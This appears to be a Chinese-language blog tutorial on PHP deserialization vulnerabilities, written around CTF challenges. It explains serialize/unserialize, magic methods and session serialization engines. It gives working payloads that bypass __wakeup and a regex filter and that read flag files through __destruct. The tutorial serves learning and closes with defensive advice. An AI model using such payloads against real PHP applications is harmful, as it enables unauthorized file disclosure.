PHP反序列化漏洞学习


首先,什么是序列化?

序列化就是将一个对象转换成字符串。字符串包括,属性名,属性值,属性类型和该对象对应的类名。
反序列化则相反将字符串重新恢复成对象

类型 过程
序列化 对象—> 字符串
反序列化 字符串—>对象
1893076-20200711232303502-1979730084.png
1.序列化函数serialize()
<?php
    class Ctf{
        public $flag='flag{****}';
        public $name='cxk';
        public $age='10';
    }
    $ctfer=new Ctf();     //实例化一个对象
    $ctfer->flag='flag{adedyui}';
    $ctfer->name='Sch0lar';
    $ctfer->age='18'
    echo serialize($ctfer);  //将其序列化
?>

输出结果 O:3:”Ctf”:3{s:4:”flag”;s:13:”flag{abedyui}”;s:4:”name”;s:7:”Sch0lar”;s:3:”age”;s:2:”18”;}

O代表对象,因为我们序列化的是一个对象;序列化数组的话则用A来表示

3代表类的名字长三个字符

Ctf 是类名

3代表这个类里有三个属性(三个变量)

s代表字符串

4代表属性名的长度

flag是属性名 s:13:”flag{adedyui}” 字符串,属性长度,属性值

注:serialize()函数在执行前会检查类中是否存在一个魔术方法 __sleep()。如果存在,**__sleep()方法会先被调用,然后才执行序列化操作**。

可以在__sleep()方法里决定哪些属性可以被序列化。如果没有__sleep()方法则默认序列化所有属性

exp :

<?php
    class Ctf{
        public $flag='flag{****}';
        public $name='cxk';
        public $age='10';
        public function __sleep(){
            return array('flag','age');
        }
    }
    $ctfer=new Ctf();
    $ctfer->flag='flag{abedyui}';
    $ctfer->name='Sch0lar';
    $ctfer->age='18'
    echo serialize($ctfer);
?>

运行结果:O:3:”Ctf”:2:{s:4:”flag”;s:13:”flag{abedyui}”;s:3:”age”;s:2:”18”;}

(注意一下,这边对php的版本有要求,此处我用的是php 5.2.17nts)

2.反序列化函数 unserialize()
<?php
    class Ctf{
        public $flag='flag{****}';
        public $name='cxk';
        public $age='10';
        
    }
    $ctfer=new Ctf();
    $ctfer->flag='flag{abedyui}';
    $ctfer->name='Sch0lar';
    $ctfer->age='18';
    $a = serialize($ctfer);    //O:3:"Ctf":2:{s:4:"flag";s:13:"flag{abedyui}";s:3:"age";s:2:"18";}
    var_dump(unserialize($a));  //输出反序列化的结果
?>

运行结果:D:\phpstudy_pro\WWW\sleep.php:13: class Ctf#2 (3) { public $flag => string(13) “flag{abedyui}” public $name => string(7) “Sch0lar” public $age => string(2) “18” }

D:\phpstudy_pro\WWW\sleep.php:13:
class Ctf#2 (3) {
  public $flag =>
  string(13) "flag{abedyui}"
  public $name =>
  string(7) "Sch0lar"
  public $age =>
  string(2) "18"
}

注:unserialize() 执行时会检查是否存在一个 wakeup() 方法。 如果存在,则会先调用 wakeup方法。而涉及到__wakeup()函数,经常要用到的就是当序列化字符串中表示对象属性个数的数字值大于真实类中属性的个数时就会跳过wakeup()函数的执行。

__sleep()函数是在serialize(序函数列化一个对象前被调用,用来指定要序列化的属性

__wakeup()函数则是在unserialize()反序列化一个字符串前被调用

关于__wakeup()的实例:

1.攻防世界 web高手进阶区 unserialize3 (__wakeup()魔术方法)

攻防世界unserialize3题解

__wakeup() 将在被序列化后立即被调用

__wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,会导致反序列化失败同时不会执行__wakeup()函数

<?php
class Ab4ndon{
        var $test = '123';
}

$a = new Ab4ndon();    //这里就是创建了一个新的对象

$a_ser = serialize($a);   //将这个对象进行字符串封装,就是对其进行序列化

//print_r($a_ser);
$a_unser = unserialize($a_ser);//进行反序列化

print_r($a_unser);
?>

代码:

<?php
class xctf{
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
    }
}//这边注意一下方括号要对应,一开始少了这个方括号一直报错
    $a = new xctf();
    $a_ser = serialize($a);   //将这个对象进行字符串封装,就是对其进行序列化

print_r($a_ser);  //输出序列化后的内容
?>

序列化结果:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

利用__wakeup()的漏洞,构造payload为:**?code=O:4:”xctf”:2:{s:4:”flag”;s:3:”111”;}**

3.访问控制修饰符
public(公有) 
protected(受保护)     // %00*%00属性名
private(私有的)       // %00类名%00属性名

在本地写个php测试一下:

<?php
    class Ctf{
        public $name='Ab4ndon';
        protected $age='20';
        private $flag='fl4g';
    }
    $ctfer=new Ctf();     //实例化一个对象
    echo serialize($ctfer);
?>

输出结果:*O:3:”Ctf”:3:{s:4:”name”;s:7:”Ab4ndon”;s:6:”age”;s:2:”20”;s:9:”Ctfflag”;s:4:”fl4g”;}

可以看到,protected 属性被序列化后age属性名的长度变成了6,为什么呢?因为age前还有**%00*%00**

同样地,private 属性被序列化后flag属性名的长度也不是flag的原长,因为flag前面还有**%00Ctf%00**

下面介绍一个考察__wakeup()和访问控制修饰符的题:

1.攻防世界 web高手进阶区 Web_php_unserialize

源码:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) {     //执行 __construct 方法,将传入的 $file 赋值给本地的私有方法 $file
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true);   //销毁时执行 __destruct 方法,高亮本地变量 file 文件的代码
    }
    function __wakeup() { 
        if ($this->file != 'index.php') {        //当反序列化构造这个类时执行 __wakeup 方法,会将本地变量 file                                                     重新设置为 index.php
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']);         //base64编码传入的var参数
    if (preg_match('/[oc]:\d+:/i', $var)) {     //正则匹配 o:数字:或者 c:数字:,不区分大小写
        die('stop hacking!'); 
    } else {
        @unserialize($var);                     //反序列化
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

思路大致为:

构造Demo类,传入$file=fl4g.php(传入的$file赋值给本地私有方法$file,然后__destruct()函数在对象销毁时执行,高亮本地变量file的代码,故我们将file赋值为我们想看的fl4g.php),然后将其序列化

<?php 
class Demo { 
    private $file = 'fl4g.php';
}

$a =new Demo($file);
echo serialize($a);        //O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

将序列化结果中的属性个数改为2(绕过__wakeup()函数的执行),将o:4改为o:+4或者o:@4(绕过正则匹配),Base64编码后get传参

但是这样操作得不到flag,问题出在哪?

$file是私有方法 private,前面提到private属性被序列化后属性名的形式为**%00类名%00属性名**,我们看到file本该是4个字符,序列化后确实10个字符。我尝试在Demo前后加%00再编码,失败,后来看别人的wp,才找到原因,因为复制粘贴时破坏了 “ %00 “ 这个特殊字符。 将序列化后的字符串直接存入文件不会破坏这个 “ %00 “ 特殊字符。

<?php 
class Demo { 
    private $file = 'fl4g.php';
}

$c =new Demo($file);
$a=serialize($c);        //O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

$a = str_replace(':1:', ':2:', $a);        //绕过wakeup
$a = str_replace('O:4', 'O:+4', $a);        //绕过正则匹配
print_r($a);
print_r("<br>");
var_dump(base64_encode($a));        //base64编码
//O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}<br>D:\phpstudy_pro\WWW\sleep.php:13:
//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="

所以构造payload:?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

注意学习这种直接写php去得到payload的方法,尤其是碰到private和protected时

此处再贴一篇wp:攻防世界 WEB Web_php_unserialize

4.魔术方法

php反序列化漏洞触发条件: unserialize函数的参数、变量可控,php文件中存在可利用的类,类中有魔术方法

接下来介绍一些常见的魔术方法(wakeup()和sleep()函数在前面已经介绍过了,就不再详述)

__construct() 当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。

__destruct() 当一个对象销毁(反序列化)时被调用

__toString() 当一个对象被当作一个字符串使用时被调用

__sleep() 在对象在被序列化之前立即运行

__wakeup() 将在序列化之后立即被调用
__construct()
<?php
class xctf{
    public $flag = '111';
    function __construct() {
        echo ("Ab4ndon!");
    }
}
    
    $a = new xctf();
    
?>

运行结果:Ab4ndon!

可以很清楚地看出来construct()魔术方法在创建对象时进行了调用

__destruct()
<?php
class Example {
    var $var = '';
    function __destruct() {
        highlight_file($this->var);  //常用文件读取函数:readfile(需要去源码里看) highlight_file                                                                       show_source            file_get_contents(不会输出)
    }
}
unserialize($_GET['a']);
/*$obj = new Example();            //实例化一个对象,并将其序列化:O:7:"Example":1:{s:3:"var";s:8:"flag.php";}
$obj->var='flag.php';
var_dump(serialize($obj));
*/
?> 
    
    
  //flag.php
    <?php
$flag="flag!!!!!";

payload如下:?a=O:7:"Example":1:{s:3:"var";s:8:"flag.php";}

image-20201011115348580
__toString()
5.session反序列化

在php.ini中存在三项配置项:

  • session.save_path="" –设置session的存储路径
  • session.save_handler=""设定用户自定义session存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
  • session.auto_start boolen –指定会话模块是否在请求开始时启动一个会话,默认为0不启动
  • session.serialize_handler string定义用来序列化/反序列化的处理器名字。默认使用php (php<5.5.4)

在上述的配置中,session.serialize_handler是用来设置session的序列化引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

引擎 session存储方式
php(php<5.5.4) 存储方式是,键名+竖线`
php_serialize(php>5.5.4) 存储方式是,经过serialize()函数序列化处理的键和值(将session中的key和value都会进行序列化)
php_binary 存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

在PHP (php<5.5.4) 中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎名');进行设置。

示例代码如下:

<?php
ini_set('session.serialize_handler', 'php_serialize');   //设置序列化引擎使用php_serialize
session_start();
// do something
......

由于序列化和反序列化所使用的序列化引擎不一样就是造成PHP Session序列化漏洞的原因

(此处使用的是php7.3.4nts)

  • php引擎
<?php
ini_set('session.serialize_handler', 'php');
session_start();      // session_start()会创建新会话或者重用现有会话
$_SESSION['name'] = 'Ab4ndon';
var_dump();
?>

去本地文件夹下找到存储session文件的地方,如我的:D:\phpstudy_pro\Extensions\tmp\tmp,发现一个sess开头的文件,sess_后面是PHPSESSID的值

image-20201011105453092

打开,内容为:name|s:7:”Ab4ndon”; 键名+竖线|+经过serialize()函数序列处理的值(只序列化值

  • php_serialize引擎
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();      // session_start()会创建新会话或者重用现有会话
$_SESSION['name'] = 'Ab4ndon';
var_dump();
?>

文件内容:a:1:{s:4:”name”;s:7:”Ab4ndon”;} a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key(键)和value(值)都会进行序列化

  • php_binary
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();      // session_start()会创建新会话或者重用现有会话
$_SESSION['name'] = 'Ab4ndon';
var_dump();
?>

文件内容:names:7:”Ab4ndon”; 键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值.由于name的长度是4,4在ASCII表中对应的就是。根据php_binary的存储规则,最后就是names:7:"Ab4ndon";

6.字符串逃逸
1

首先我们需要知道,在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。而且最后变量闭合都需要双引号以及结束的花括号,举个例子:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

O:4:"xctf":1:{s:4:"flag";s:3:"111";}xxx(xxx是任意的一串字符)

反序列化后的结果是一样的,也就是说,php在反序列化的时候是严格地按照一定的格式去进行的。

如果指定的长度错误则反序列化就会失败。

测试如下:

<?php
class xctf{
    public $flag = '111';
}
    
    $a = new xctf();
    $a_ser = serialize($a);   //O:4:"xctf":1:{s:4:"flag";s:3:"111";}

//print_r($a_ser);
$res=unserialize('O:4:"xctf":1:{s:4:"flag";s:3:"111";}');
$res2=unserialize('O:4:"xctf":1:{s:4:"flag";s:3:"111";}xxx');
$res3=unserialize('O:4:"xctf":1:{s:4:"flag";s:3:"11";}');
print_r($res);
print_r($res2);
print_r($res3);

?>
//输出结果
xctf Object          //$res
(
    [flag] => 111
)
xctf Object            //$res2
(
    [flag] => 111
)

如果我们将111改为11,就会反序列化失败,我的vscode没有任何输出。

为什么呢?因为此时的flag所读取的数据为11“而正常的语法是需要用”;去闭合当前的变量,而因为长度错误所以此时php把闭合的双引号当做了字符串,所以下一个字符就成了分号,没能闭合导致抛出了错误。

PHP反序列化字符逃逸详解

浅谈PHP字符串逃逸

知识补充
unserialize漏洞依赖几个条件:

unserialize函数的参数可控
脚本中存在一个构造函数(__construct())、析构函数(__destruct())、__wakeup()函数中有向php文件中写数据的操作的类
所写的内容需要有对象中的成员变量的值
防范的方法有:

  1. 严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则
  2. 对于unserialize后的变量内容进行检查,以确定内容没有被污染

文章作者: Ab4nd0n
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ab4nd0n !
评论
  目录